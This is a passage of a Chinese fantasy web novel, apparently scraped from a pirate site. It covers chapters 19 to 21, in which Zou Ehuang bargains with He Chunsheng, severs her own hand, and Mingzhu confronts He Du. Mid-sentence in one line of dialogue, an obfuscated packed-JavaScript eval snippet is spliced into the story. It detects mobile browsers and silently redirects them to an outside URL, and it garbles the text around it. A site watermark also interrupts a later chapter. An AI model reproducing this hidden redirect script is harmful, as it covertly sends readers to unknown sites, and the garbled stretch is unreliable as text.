一遍遍的劈刺砍挑,一遍遍的跳起冲刺,汗水润湿平地,动人的月色穿过柳树的枝条,斑驳的光线落在邹娥皇的脸上时,一片寂静与木剑出鞘的声音背后,容有衡只听见了自己的心跳声。 砰、砰。 哪怕明知结局不尽人意,可见过上辈子一剑破天的邹娥皇,你难道真的就忍心,她终其一生不过也就是一个不能修炼的凡人吗? 容有衡意识到。 他不能。 牵我魂丝,色授予魂。 等他这辈子再教邹娥皇牵丝术时,恍惚间才明白,原来这所有的羁绊,早在这一切之前的牵丝术里就注定。 是牵我魂丝。 是色授予魂。 他这时候才明白,上一辈子的种种酸涩、从心底里萌生的欲望与嫉妒、看见方半子那种瞧不上,原来这一切复杂情绪的背后都可以只是简简单单的两个字。 ——是喜欢。 而任凭容有衡心里升起惊涛骇浪,他教邹娥皇牵丝术的时候,不过也只是把散落的青丝梳的一丝不苟,把左边的衣带理了又理。 他记得,当初那个要娶邹娥皇的方半子,就是这样的一本正经;还有那个邹娥皇没能救活的何言知,听人说也是个满口之乎者也的酸儒。 他们都和吊儿郎当的他不一样。 容有衡隐约总觉得,上一辈子,邹娥皇大约是不喜欢他这样的郎子的,他不够安静,也不够忍耐。 所以这辈子,他无意识地学起了那两位。 教邹娥皇的时候,容有衡问她:“哪怕牵丝术能给你造就的灵脉只是最浅最薄的假根可能百年都难以进阶一次,你也要修炼吗?” 牵丝术只是看起来像魔道,但毕竟还不是。所以它有着所有正道最醒目的缺点:吃力不讨好。 何春生会把它误以为魔道,是因为他以为他飞速流失的灵气源于那团细丝,却不知道那是因为阵法被破后,邹娥皇用灵丝为引成为了锁仙阵的新主人。 “师兄,我要。” 初来乍到修真界,十五岁的邹娥皇,是这么回答容有衡的。 她坚定,她一往无前,她相信总有一天能够出人头地。 而她的师兄面色不变,眼睫微垂,面上只露出了一个清浅的笑。 “好。”他脸色微白,轻轻道。 命运的齿轮再度转动,重合起前世的种种。 他看着那个姑娘用着最刻苦的劲头修炼,终于慢慢赶超了同龄人,他看着这个姑娘在秘境里大放光彩,收获了朋友与声名;他也看着这个姑娘志得意满地去参加天骄宴,最后哭丧着脸空手而归,还折上了一把剑。 他看着她下密州,闯龙宫,灭世家。 他看着她一路走来,看着她跌跌撞撞,看着她一次次希望落空。 他在她风光无限的时候冷眼旁观,在她遍体鳞伤的时候不闻不问。 唯有那么一次。 容有衡要出山拜访宴霜寒的前夕,撞上了被一头窥牛顶的腰腹淌血,喘着气扑在地上补丹药的邹娥皇。 终于他又忍不住问她。 “那么,师妹,你要放弃了吗?” 彼时浑身是土的邹娥皇慢吞吞地爬了起来,只留给师兄一个后脑勺。 她日夜练剑,她知耻后勇,她是蓬莱上最勤快的弟子... 她拔不出剑来。 容有衡推不出她的心里路程。 他只听到邹娥皇的一声嗯。 容有衡听见邹娥皇低声回道,“我该放弃了,师兄。” ——想起往事,此刻化名容无常的有衡大师兄,却忽然地笑了。 其实答案一直都很明显了。 “该放弃”,和“要放弃”。 终究还是不一样。 魔修?合道? 何春生和何九州都太瞧不起他师妹了。 现在,他翘腿坐在树上,半支着下巴,凝神看着师妹,心里别扭又傲娇地想: 如果她不放弃。 那他也不要。 毕竟,都已经重活一世了,本就是要来逆这天,改这命。 …… 风云搅动惊雷,大雨滂沱,榕树发出吱吱呀呀的声音。 “咳、咳——” 何春生从没觉得自己离死亡那么近过。 薄如蝉翼的灵丝嗖地地从邹娥皇指缝之间迸发,掌控此等锁仙阵后,她浑身上下充盈着灵气,昏天黑地间,就是唯一的发光体。 不过,更准确地形容来说,她像一个炸弹。 因为宽仅几厘的灵丝铸就的灵根注定狭窄,所以无法吸收的庞大灵力就会从另一种方向上显露,撑破邹娥皇的寸寸肌肤,将原本就鲜血淋漓的伤痕衬得愈发触目惊心。 然而旁人觉得难以忍受的痛苦,在她身上,竟只是寻常。 世人都嫌弃她没什么斗志,是个拔不出剑的懦夫;但是他们从没见过的另一面,这是个任凭多痛也不会松手,早已忘了哭喊二字如何书写的剑修。 “放了我...放了我!”何春生拼命扒拉着缠绕在脖子上的灵丝,他现在终于反应过来,吸食他灵气的不是邹娥皇,而是他为了埋伏邹娥皇所布局的锁仙阵。 反应过来后,紧跟着升起的是忌惮与惶恐。 锁仙阵之难学,他学了十年,但是怎么会一夕之间就被这个女人掌握阵势。 “你、不能杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434943|139651||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我...你不能、杀我...” 邹娥皇眼波平静,十指用力就要一绞。 “你若杀了我,那个跟着你来的蓬莱弟子也活不成!” 青度? 带血的碎发遮掩住邹娥皇的神色。 何春生心里刚刚一松。下一瞬就异变突生,只见邹娥皇那无情的大拇指用力一抬。 “啊!” 灵丝嵌入咽喉,淋漓的血从何春生的喉咙里喷涌而出,他爆发出了一声惨叫,连忙急急大喊。 “我在他们带领的队伍里安排了一个元婴期邪修,你若杀了我,你们蓬莱,后继无人!” 邪修有别于魔修,修炼方式和正道修士所差无几,一样的都是吐纳灵气,不一样的是修炼手段血腥残忍,前几百年在魔修被一锅端后草木皆兵,销声匿迹几百年,又在妖族入侵,仙门实力衰弱后卷土重来。 老谋深算如何春生,从一开始除了邹娥皇这边的埋伏外,他还为自己准备了一条通天退路。 所谓知己知彼,百战百胜。 他安插在蓬莱的线人告诉他,青度是蓬莱道祖选好的接班人,对整个蓬莱意义重大。 也就是说,邹娥皇就算最后能够从重重刺杀里突围,何春生也依旧会确保自己有能牵住她的一根线。 “嗬。” 邹娥皇很少这样笑,来何城后她一共只这么笑了两次,一次是对上婚宴路上那群夸夸其谈求仙不如嫁女的何城人;另一次,就是现在。 她语气平平:“何春生,我半个时辰前就想问了,你到底是有多瞧不上我们蓬莱?” 然就是这么平平的语调才能听出讥讽。 “怀疑正道的祖师爷蓬莱会养出一个魔修,以为我留下就是自寻死路,觉得我们蓬莱未来可接道祖班子的当代大师姐青度,居然会被一个区区元婴境修士挟持——” “如果今天你要围杀的是昆仑当代大师兄,你也会如此,只派一个元婴期邪修么。” 元婴期邪修,听着名头响亮,但是在那群真正的天骄之子们面前,也不过只是尔尔,哪怕青度比那邪修低了一整个大境界,也自有一战之力。 “如果不会,”邹娥皇眼皮微阖,半是厌倦道:“那你今日就是自寻死路。” 哐当一声,随着何春生的灵力骤然衰退,结界破开。 庭院关门处有玉盘落地的声音。 还立着位面比粉白,唇比血红的新娘,明珠。 寒风呼啸,雷声乍起,雨点瓢泼间,明珠只听见了那句“元婴期邪修”。 明杏...现在在的地方,混入了元婴期邪修! 而何富贵曾经告诉过她,何家背后偷偷供养了一位元婴期邪修,人称邪画师。 人血为料,人皮铺纸,人魂作笔。 此间四大邪修之一,谢肴! “阎王殿下阎罗人,一笔丹青染冤魂。” 他的实力,可远远不止是一句元婴可以概括的。 “仙长!”明珠再也顾不得什么了。她跌跌撞撞地扑上前来,厚重的喜服铺在满是泥迹与裂纹的地上,暗水沾湿她的衣角,新娘怆然地跪伏在地上。 “那个元婴期邪修,是邪画师,邪门四大老祖之一的,谢肴...” “求仙长先留老祖一命,求仙长、救救我妹妹!” 传说中,邪画师最喜欢的是,剥下少女的人皮,作出栩栩如生的美人图。 何春生这老东西不是瞧不上她们蓬莱,恰恰相反,他是太爱惜自己的这一条老命了。 邹娥皇骤然松手,方才重伤之下未曾后退过半步的身躯,此刻却抖得厉害。 她那双黑漆漆的瞳孔盯着何春生,瞳底幽深如有万丈深渊。 一套又一套,一环扣一环。 邹娥皇竟低低地笑出了声,这声如自嘲穿透她嘶哑的喉,像渡鸦哀鸣。 方才说的话还历历在目。 原来真正轻敌的人,是她。 谢肴这两个字一出,刺入何春生喉咙半厘深的灵丝终于一泄。 奄奄一息的何春生,费劲地摸了摸脖子上的勒痕,他嗅着自己的血腥气,竟是咧嘴笑了。 “邹娥皇,邪画师谢霖,一城屠夫,手上亡魂不可胜计,还有合道尸傀一具...你猜,你们蓬莱的那个小弟子活下来的概率大,还是被抽筋剥皮入画的概率大?” “本座知道,你们蓬莱的那个弟子叫青度,是蓬莱继容有衡之后,道祖秘密择出来的下一任执掌蓬莱山之人...但一切的前提是,她能活到那个时候。” “本座现在给你一个交换的机会,各退一步,我不要你们的命,放你们走,我只要那个星盘,何言知留下的星盘。” 何春生以为这是要邹娥皇自断一臂。 容有衡却知道。 这是要邹娥皇在朋友和蓬莱之间选,大义和私欲之间抉择。 但他其实也很想知道,何言知究竟能在邹娥皇心里重要到了什么地步。 在上一世,他的师妹舍弃了拿灵丝开阔了五千年的修为,舍弃了龙口里抢下的肉灵芝,舍弃了原本可以获得真灵根的机会,舍弃了她能舍弃的,除了背上的那把本命剑。 也要换何言知复活。 第20章【VIP】 第20章 哪怕斩掉的是握剑用的右手 雷雨不知何时地停了, 寂寂了半个晌午的太阳,慢慢地从云层里跃了出来。 金光浮动,粼粼洒在水坡之上。 也渡在邹娥皇下垂的眼睫上, 将半张脸的血迹照的模糊不清。 凭心而论,这姑娘眉平平,眼寂寂,在修炼了占星术后, 更是将原本还有一二分的灵气,也尽然消殆。 但在这般地敛目之下,竟有种光不敢碰佛的神性。 “行。” 邹娥皇说, “行啊。” 她恹恹地垂手, 晶莹透亮的灵丝从千丝万条里一瞬抽回。 接着轻轻抬头,冷静地看着何春生:“但我该怎么信你,没有骗我” 她这样干脆利索, 何春生反而起疑, 在邹娥皇给他留下的印象里,不识好歹这四个字永远都有浓墨重彩的一笔。 他哑着声音道:“本座修道至今, 阴谋略胜阳谋, 纵如此,从未行过一骗,以本座道心起誓,若所言有虚,不得大道求证。” 轰隆隆的雷劫不知疲倦地再度响起, 证明他所言非虚。 他从宽大的袖口里抛出了一个溯世镜,“这镜子能看到他们路上的场景, 本座听谢君说过,你们曾相识一场, 哪怕如今他披着旁人的皮,你也应当认得出他。” 谢君谁。 谢霖吗。听过,没见过。 邹娥皇两指夹住溯世镜,铜白的灵器和她崩裂的双指相合,疼的她呲牙一瞬。 溯世镜分为子母两镜,母镜就是如今邹娥皇手里夹着的这个,能对子镜方圆百里进行窥视;除此之外,母镜的主人对子镜的拥有者还能造成神魂上不可逆的伤害。 昏沉的铜镜荡起水波,慢慢投射出清晰的影像。 刻着十四盟三个字的巨大云舟,从万里云海中渡出,甲板上立着玄色道袍的青度,神色肃然,双手交替落在坎天剑柄之上,醇厚的灵气顺着她的双手划入剑身,又撑起整个云舟船身。 在她的身后,是对仙途一脸憧憬的众人 和一个混迹在人群中,披着他人画皮的傩面鬼——谢霖。 镜中人群,嘎子帮帮主洪兴龙正在和旁人夸夸其谈,劈着腿坐在凳子上,说起修真界之前发生的一桩灭门惨案,说到兴起的时候,唾沫星子喷地身侧的人满头都是。 洪兴龙说的太投入,因而没注意到素日里吃饭都拿手抓的二当家,轻轻一蹙眉,从袖子里掏出了条白色的锦帕擦去了脸上的水渍。 洁癖地简直是像换了一个人一样。 这黑皮左眼有疤痕的嘎子帮二当家,拿布擦脸的那只手上,先前被方半子咬了一口的伤痕已经消失的无影无踪。 就好像那条破皮伤口从没有存在过一样。 镜外,邹娥皇的视线在那光洁的手上久久地顿住了,最后停在刀疤男那微笑的神情上。 人皮能换,手骨大小却不能。 谢霖,或者该说是谢雨林。 百年前被她灭了的那个世家,谢家,仅剩的遗孤。 谢雨林,曾经是一笔丹青惊艳世间的画春公子,她小师妹李千斛前夫的弟弟——是那发烂腐朽的谢家里,邹娥皇唯一不忍心去杀的至纯至善之人。 但是百年,竟也可让一个纯善的小公子变成了令人闻风丧胆的邪修。 邹娥皇收回了目光,再度看向何春生的时候,眼里冷冷清清的什么都没有,她说:“换个起誓。” “你本就无缘大道。刚刚那誓言你我心知肚明,算不得什么。我要你拿何家起誓,谢霖若伤了青度半根寒毛,何家后代则人人无缘仙途。” 谢霖这人当公子的时候身上就有一股疯劲儿,如今成了邪修,很难说不是从极致的善变成了极致的恶。 何春生手里虽然有溯世镜的母镜,但面对的人是谢霖。 凭谢霖对蓬莱的恨意,她要先能确保,何春生真的能控制住他。 她知道何春生这人狠辣自私,但她信他对何家的赤子之心。 所以让他拿何家起誓,最为保险。 何春生听后嗤笑了一声,但没多说什么,他一边盯着邹娥皇,一边重新发了心魔誓。 “该你了。” 黑紫色的劫雷悬停于半空中,气浪变得滚热,女修破碎的裤脚被西风吹得滚滚飘留在半空,她一言不发,将手中的溯世镜凭空一扔。 溯世镜停滞在空中,不断地旋转,最后飞向了明珠怀里。 把头皮磕破、金钗散落了一地的狼狈新娘——被人说素来聪慧的明珠,猝然抱着溯世镜有些不知所措。 然而把镜子抛给她的那个仙长,只是温和地说了句:“拿好,一会若有异变,先摔了这个镜子。” 玄黑色道袍上出现了道蕴的流光,邹娥皇左手双指并拢成剑指,右掌处,慢悠悠地荡出了一个漂亮的星盘,在何春生都没反应过来之前,干脆利索地就是一个气斩。 被斩断的手掌停留在半空中,然后再无半分迟疑留恋地向何春生飘去。 而她的右臂,血如泉涌。 迟则生变,有了之前的教训,何春生这次什么都没说,拎着那只鲜血淋漓的手就往洞府飞去。 “仙长” 明珠动容地看着邹娥皇,但是很快她反应过来什么。 那日论道台上,邹娥皇操控星盘的手,是左手;而刚刚给何春生斩下来的手,是右手。 “嘘——” 邹娥皇刚想比个噤声的手势,才想起自己的右手已经没了。 “我想去何家朝圣阁的传业屋,姑娘,你能帮我吗”邹娥皇记得明珠,那日论道台下几位戴椎帽的姑娘们里,明珠是她们簇拥的中心。 榕树里,藏着的容有衡脸色愈来愈地苍白。 两个都要保下,确实很像是他师妹的手笔。 哪怕斩掉的是握剑用的右手。 这样不计成本的蠢事,确实是,很邹娥皇。 容有衡心气不顺地甩了甩袖子,下一瞬划破虚空,追着何春生走了。 庭院里,明珠捏着溯世镜,并没有问邹娥皇缘由,只是说:“仙长若是为了圣人留下的金丹要去传业屋,恐怕是空跑一趟。” 聪慧至极的女子,竟然只凭着只言片语,就猜出了邹娥皇此行的真正意图。 这是连何春生都做不到的事。 邹娥皇;“你怎知我是为了金丹而来” 明珠垂眸,细声细气道:“我听二爷提过,何家的金丹一直在等一把能用来打开的钥匙,那日论道台下初见仙长的星盘,小女只是略有怀疑;今日老祖布了这么一个大局,只是为了仙长的星盘,小女便知八九不离十。” “然老祖胜心过重,反而忽略了一件事。仙长明知有诈还要前来赴这场鸿门宴必定是有所图谋,若他是为了仙长的星盘,仙长未必不能是为了圣人的金丹。” 邹娥皇虚心求教:“那依你之说,我该去哪里” 明珠摇头:“何家把圣人的金丹藏在老祖的洞穴之内,非何家弟子持令牌不能进,我的夫君身上有一块。刚刚我来后院走动前,他还在前院送客,仙长若要去,可以用他的那块。” 邹娥皇听后一愣,黏糊糊的头发沾在脸上,她迟疑问:“你舍得这样帮我” 明珠说有什么舍不舍得的,“仙长只是掏他块令牌,又不是要了他的命。只是算我对不住他罢了,但何家和邪修勾结,拿人命做筹码仙长自断一臂虽非为了救我妹妹,可明珠要懂得知恩。” 这个外表乖顺守礼的姑娘,心中藏的是一把扳直是非的钢尺。 前院,宾客三三两两地散了个干净,刚刚后院的打斗之声多多少少也传了过来,知趣的宾客们全当不知,脚底抹油溜得比谁都快。 何富贵心神不宁地搓了搓手,明珠许久未归,他有些担忧。 再一回神,发现他舅舅也走了。 正在挨个偏厢里寻人之际,就听到了一句“夫君。” 温柔的女声轻轻一唤何富贵,他低头一看发现明珠回来了,于是才松了口气。 “你去哪了?” 何富贵责备道,下一秒他目光一紧,盯着明珠染上泥水的婚服,一边冷着脸蹲下身拿清洁咒清理绣着龙凤呈祥的裙角,一边质问道:“怎么把自己弄的这么邋遢” 他的新娘并没有回答他。 何富贵听见一声轻轻的叹息,只是瞬息,一记重重的手刀就卡在他的后颈上。 明珠是何城最美的姑娘之一,也是最聪明的姑娘,她或许还没有迈入修仙的门槛,但就凡人的武道来说,她已经把一本名叫《妾华》的功法改变为防身的《日月》。 打晕一个对她未曾设下防备的何富贵,并不算太难。 她绣出婚服的纤手,在他内襟中上下摸索。 直到摸到象征着何家嫡系身份的令牌,那灵巧的小指才满意地一勾系带。 邹娥皇在一旁看着,用仅剩的左手,心虚地摸了摸鼻。 饶是她,都有些同情何富贵了。 “仙长,这是何家的令牌,背后的纹路即是何城的地图,上面的红点,就是老祖的洞穴位置。” 明珠面不改色道,“以老祖的脚程,恐怕瞬息已经到了此处,仙长若是要在他反应过来之前去夺金丹,恐怕所剩时间无几。” 邹娥皇听后只是笑了下,“恐怕他现在已经反应过来了,只是被人拦下了。” 方才还在宴席上的时候,她就察觉到了几分的不对劲,刚刚和何春生打起来时更加确定了这一点。 暗处,有人在窥测。 凭她对于阵法的造诣,是无法在第一时间寻到阵眼的,只有背后有人推波助澜,她才会发现暗河的异常。 而方才她斩臂的时候榕树上,出现了一瞬的灵力波动,多半是去追何春生了。 对方是友非敌。 邹娥皇拿明珠递来的丝巾包住断了的右手根。 密密麻麻的灵丝已经将伤口封住,只有一些渗出来的血迹滴滴地往下落。 她啃了一颗从鱼澹那里拿的补血丹,想了想,从地上捡了根榕树的枯枝在明珠的脚底画了个圈。 “这是什么”明珠看着脚底闪光的圆弧,发出一声惊呼。 “避魔圈。” 邹娥皇上一辈子在电视剧里,看到孙大圣给唐僧画这个圈的时候就很眼馋,等她这辈子来了修真界,闲着无聊的时候跟在蓬莱道祖后面,学了点皮毛阵法和符咒后,就自己琢磨出了个简略版避魔圈。 “你呆在这里面,不要动,谁都不能杀你。” 她此行已经耽误了太多无关之人,何九州也好,明珠也罢,再如远行的青度她们,邹娥皇心知自己并没有能力说一定护这些人周全。 但她总想,尽力而为。 就算一会何春生回来了要杀明珠取溯世镜,只要明珠自己不迈出圆圈半步,何春生是无法伤害到她分毫的。 “镜中若是有什么异象,不要怕也不要慌,把这面镜子摔了,那邪修的神识必然会大有损伤,届时,未必是青度的对手。” 女仙长的眉眼仍是初见时的一团和气,明珠听见她对自己说:“只有一件事,你记住,万万不可出圈。” 下一瞬,邹娥皇脚点云,腿逐风,瞬息变成了明珠视线里的小黑点,消失在了原地。 在她走后不久,此地果然来了位不速之客。 但不是何春生。 是何渡背着手,逆光凝视着跪坐在光圈里的明珠。 “你当初答应过我,永远不会对贵儿出手。我以为我给贵儿挑的侄媳,最起码是个守约之人。” 珠钗散落不掩端庄的明珠闻声后并未抬头,只是哑着声音回道:“您当初选我的时候,我就和您说过,我同您的妹妹并不像。” ——这天底下到底有什么不能被算计的呢? 明珠怜悯地看向不远处仍在昏迷的何富贵。 亲情也好,爱情也罢。 这位二爷可知道,他以为的一见钟情,他以为的白衣姑娘,其实以前根本不穿白衣,也从不柔顺。 明珠一直知道自己像一个人,像到她的母亲在她及笄那日失眠了一整宿,抱着她喊雪梅。 直到后来,明珠看到了何雪梅的画像,画上的姑娘正妙龄,眉眼生得和她并不像,只是一份淡淡的哀愁神似。 明珠就猜到了,她像的那个人不是旁人,正是她最讨厌的何雪梅。 其实按常理来说,打小反骨,改编女子功法的明珠,不应该讨厌这么一个看起来和她是同类人的前辈。 但是明珠就是讨厌何雪梅。 讨厌因为何雪梅带累了整个何城的女子,不得识字读书;也讨厌她感情至上,做什么都随心所欲。 所以,在明珠因为传播女子手语被何家人关押起来的时候,听见审她的何渡说她生得像一个人的时候,她的第一反应是否认。 明珠始终不觉得,自己和那个连累了一城女子的何雪梅有什么共通之处。 但她后来还是被悄无声息地放了出来。 毕竟,她可是明珠,明家最“懂事”的大姑娘。 该有的审时度势的能力,她一直是有的。 明珠:“和何雪梅一样的人,在这方天地里,是活不下去的,您和我都心知肚明。” 远处传来一阵微弱的喘息声,是何富贵醒了。 他茫然地躺在地上,后脑勺被咯的生疼,好像还没反应过来发生了什么,就听见明珠平静地对他舅舅道: “圣人留下的金丹,其实从来不需要星盘这类密钥。它只是一份传承,既然是传承,就会挑选合适的人。二十多年前,您的妹妹,何雪梅,被金丹挑中了。” “但是她没有选择这份传承。” “因为她知道,她的亲哥哥想当家主,而如果她成为了这份传承的主人,下一任何家家主一定是她。” “只是天真的她没有想过,她的哥哥知道这件事情后,第一反应不是感动,而是忌惮,撺掇了老祖,把心有所属的她远嫁冀州。” “并且最后,间接害她命丧于魔窟。” 轰隆隆。 何富贵听懂了。 他僵硬地转动脖子,企图看到这个自他出生来,唯一给予他亲人温暖的舅舅,会在此时对这句话作出否认。 然而,何富贵扭的头都僵了,眼珠受到日光的刺激落下了一滴晶莹的泪,也没等来那句否认。 他只听见那个自小背着他骑大马的好舅舅,此刻沉声道:“你怎么知道的” 竟已经是承认了。 何富贵脑袋晕晕的,仍觉得自己还在梦里,怎么一朝一夕醒来,未婚妻砸晕他,舅舅害死了他妈。 没家了。 什么都没有了。 明珠微微一笑,回道:“您应当听过何城女子会吧何雪梅是第一任的会主,我是第三任。每一任会主的生平,死年,无论发生了什么,要求事无巨细地记录下来,留给下一任会主评判。” “我讨厌她,如果我是她,我会选择接受金丹的传承,成为何家下一任家主,废除那些不合理的条规但我不是她,所以我只能在对于她的打分上,评一个乙下。” “而至于她的哥哥,您。我只有亲自见了,我才能明白,到底是怎么个权利熏心的蠢货。您瞒下来了金丹不需要密钥的消息,让老祖对蓬莱的人出手,为何家招惹来了通天大祸,此为第一蠢。第二蠢么” “即使您明知,何富贵他是最有可能得到金丹认可的人,却从小刻意纵容他爱玩的天性,以致养成了这么个文不成武不就的纨绔。” 严格意义上来说,何富贵在外人看来和纨绔这两个字并不沾边,但只有真正离他近的人才明白,谦谦好学只是一层表皮。 对于精通书海的明珠来说,用纨绔这二字来形容何富贵,并不过分。 何渡并没有被明珠的话激怒,他看起来仍是对什么都无所谓的神色,仿佛被明珠指着鼻子骂的人不是他一般。他说:“你没有告诉过老祖这件事,反而是间接帮助了邹娥皇去找金丹,我是否可以断言,你们何城女子会,也在图谋着什么。” 明珠看着他,却并不说话。 只是勾唇,轻轻一笑。 这样张扬的笑意,天生便适合她这个年龄的小姑娘,然而出现在明珠脸上,确实是第一次。 她想:我不是天真到愚蠢的何雪梅,也不是冷漠到没人性的何渡。 我是明珠。 知恩图报的明珠。 不是做什么事都要有理由的。 明珠还记得第一次看到蓬莱道义的时候,那烫着金边的八个大字——我心应我,万死不辞。 那个时候她就想,是这个了,一定是这个了。 何城那些看似叛逆的姑娘们,穷尽一生追求的,不过也就是这么八个字。 四周蓦然地静了起来,眼见谈判不成,空气也都变得凝致惊险了起来了,何渡眉心处慢慢溶出了一层金光,一支发着紫光的笔缓缓从金光处飞了出来。 笔头处围了一圈秀致的字韵。 和何春生那个只挂了个名声的老祖不一样,何家嫡系如何渡,用的是正统儒修的手段。 何渡再次张眼的时候,眼中已经是黑漆漆的没有眼白的模样,他提起笔,于半空中落下一个龙飞凤舞的“涨”字。 此字一落,他的浑身修为从之前还未恢复的化神中期,一下子节节攀升涨到了化神巅峰,甚至隐隐还有比肩合道初期的力量。 在有帝王的年代,儒修入朝为官,食君俸禄,替君做事,靠的就是一张嘴与满腹经纶,因此字,对于他们是极为重要的。 儒修的手段,大约也就是靠了那么几个字去扬名立万。 但是几个字也就够了。 古往今来,有的儒修用一字抵万军,扶持明君力挽狂澜;也有儒修几字安天下,创立了自成一系的天地法则。 从没有人,因为儒修没有飞升的可能,就小觑过这一门道统。 或者说,天道公平,正是因为他们没有飞升的可能,从另一种方面来说,才赐予了他们能触摸天地规则,堪称逆天的能力,言灵。 “我再问你一遍。” 何渡的双眼已经变成了一片暗沉沉的漆黑,“何城女子会,要图谋些什么?” 他的手按在笔杆上,下一个杀字已经写到了“乂”,被施字的明珠已经步入了幻阵,她好似看见了忘川河上的彼岸花,耳边是阵阵厉鬼的哭嚎。 恍惚中明珠伸手要从圆圈中走出去,下一秒指尖却骤然一烫。 麟麟金粉从她的指肚中滑下,一丝黑烟冒出。 何富贵这时也从刚刚的颓废中清醒了,三步并两步,全然忘了刚刚明珠是如何砸他后脑勺的,只顾得抱着何渡的腿求情。 他舅舅何渡,化神期儒修,何家除了老祖之外的最强战力。 然而平生所学,不过也只有三个字。 ——“涨”。 ——“杀”。 ——“灭”。 何富贵从来没见舅舅用出过第三个字,因为一般人遇上,在舅舅第二个字收笔的时候,无论多么强烈的求生意志,都会以头创地,自断舌根,死相凄惨,更甚者七窍流血。 而就算明珠刚刚说他纨绔,还打晕了他,还他也不想她死。 何富贵是真喜欢明珠。 “这个圈是什么” 何渡的笔终于停下来了,但并不是因为何富贵的求饶,而是方才他一直没注意到的,好像只是别人随意拿枝条在地上画的一个圆圈。 他的“杀”字,因为这一个圆圈,迟迟动不了第三笔。 而方才明珠明明都要走出来了,地上的圆圈骤然发出了金光屏障,叮地一下烫醒了她。 是谁会有这样恐怖的能力 合道么?可他刚刚的修为实打实地增幅到了化神巅峰,就算是合道,也不该是这样的犹如有天堑的差距。 还是说马上要跨过渡劫神境的合道—— 大乘 这个念头一出来,何渡就被自己逗笑了。 众所周知,天下活着的只剩下了六个大乘,昆仑剑皇宴霜寒,昆仑老祖夜自咎,蓬莱道祖云无心,龙主越海,佛子渡情,阁主尹月。 这六个都是一动惊天下的人物,若没半点消息,怎么会乍然出现于密州 飞速疾驰的邹娥皇,生生打了个喷嚏。 她摸了摸鼻子,心想这年头就算是修士,居然也有感冒的风险么。 哎。 这次为了那个姓何的王八蛋,是真费事啊,等他活过来了,一定要问他多要点灵石花花。 当初邹娥皇跑遍十四州四海,求一个复活方法的时候,所有人都告诉她,这世间修士死魂魄飞,不存在起死复生的方法,要么死的彻彻底底,要么飞升成高高在上的神仙。 留给修士的永远都只有这两个选择。 但好在邹娥皇从来不信旁人说什么,她自己一开始就是个例外——上一次旁人这么笃定,说的还是:凡人是不能修炼的。 俗语说的好,世上无难事,只怕有心人。 在一处九死一生的秘境里,她终于找到了那本传说中记录着复活方法的古籍。 找这个方法就已经足够麻烦,达成这个方法的条件却比寻找的过程还要苛刻百倍。 “以死亡之人的丹田为引,手骨为根,足以匹敌该修士生前实力的灵气涵养,再配上一根万年一株的上品九转皇灵肉芝,便可以活死人,肉白骨。” 短短的几行字,里面就有了两个近乎于不可能达成的条件。 其一,匹敌该修士生前的灵气涵养。 何言知生前,是大乘期,比肩剑皇妖王的大乘期,也就是说,如果想要救他,那要牺牲另一个大乘期积攒千年的修为。 而邹娥皇除了自己和那个早死的周平,简直想不到何言知这个嘴欠爱坑人的家伙,还有什么别的朋友,愿意为他做到这个份上。 于是当时只有金丹修为的邹娥皇,摸了摸鼻子,硬着头皮只好自己上了。 为此,她甘愿千年寂寂无名,把灵力压于左手何言知的星盘上,在刚刚那么狼狈的情况下,用出的还只是灵丝。 其二,九转皇灵肉芝。 万年开一朵的奇物,由修真界寿命恒长的东海龙族世代镇守。 为此,邹娥皇和师弟鱼澹打了一架,夜闯龙宫十二次,连闹四条老龙王,至今都在东海黑名单常驻。 气的鱼澹最后差点没和她断绝师姐弟关系,整整一千年都对邹娥皇爱搭不理的,还是最后收养了青度后,冷着脸不知道如何养孩子,才开口问她了几句如何换尿布。 他说:“师姐,我真搞不懂你,何言知再是个圣人和你有什么关系,再是什么恩情,你这些年的忙碌奔波也就还够了。” 鱼澹冷着脸乜了她一眼说:“怎么,难道你还真舍得把自己全部修为喂给他啊?得了吧,就前几日打水你都舍不得用灵诀,自己去搬的。” 邹娥皇当时只是好脾气的笑了笑。 她心里想,不是恩情。 是朋友。 舍生取义的朋友。 想到朋友,邹娥皇忽然惊起就是一个加速,她掐指一捏,腰间的通灵玉发出澄澄的响声。 通灵玉是修* 真界的标配,邹娥皇来了这个世界后感慨过的最伟大发明,类似于现代的电话一类,存储了某个人的灵息后,即使相隔万里,也可以用来联络。 怎么就忘了,她现在也是有了一个发达朋友的人了。 “喂” 通灵玉中传来了一阵千娇百媚的女声,似是极其地不耐烦,下一秒就要断掉了一样。 邹娥皇:“尹月,是我,邹娥皇。” 这一声出来,通灵玉嘟嘟了两声,对面真的就挂掉了。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 20-30 第21章 草,混进了一个邪修 若说邹娥皇来到这修真界, 认识的第一个说的上话的朋友,不是她那个神龙见首不见尾的大师兄,也不是秘境一别后天各一方的天机子, 也不是死的早早的何言知。 是尹月。 她和这个小姑娘,曾睡过一个被窝,做过一个美梦,说过一个人的坏话。 曾是亲密无间。 此刻, 山风一吹,邹娥皇捏着骤然断掉的通灵玉,刚刚千鞭没能牵动的眼泪, 如今一点点地蓄在了她的眸底。 她吸了一下鼻子。 想想其实这也算正常, 几千年没联系,谁还记得谁的名字,再说当初两人虽然没怎么样, 只是最后到底也算是不欢而散 下一秒, 掌心里却传来了比刚刚还要强烈百倍的震动,通灵玉直接旋转跳跃于半空当中。 “滴滴滴滴滴滴滴——” 邹娥皇有些呆滞, 然后手一抖, 就戳了挂断连线的位置—— 在她指尖碰到挂断连线位置的那一刻,通灵玉整个玉停住了半瞬,然后就以更加气势汹汹的架势响了起来,从她的左耳飞到了右耳,三百六十五度无死角大轰炸。 这次, 邹娥皇终于按对了接通键。 通话那头,一个咬牙切齿的女声, 如惊雷一般响彻在她耳畔。 “邹、娥、皇,你居然还敢挂我通灵玉!” 七彩阁阁主尹月, 天下六位大乘里唯一的一名女修,但和众人对于女子的传统刻板印象不同,这一位的脾气,是惊天地泣鬼神的霹雳。 不够刚强,则不能在这吃人不吐骨头的修真界,撑起一片女子的屋檐。 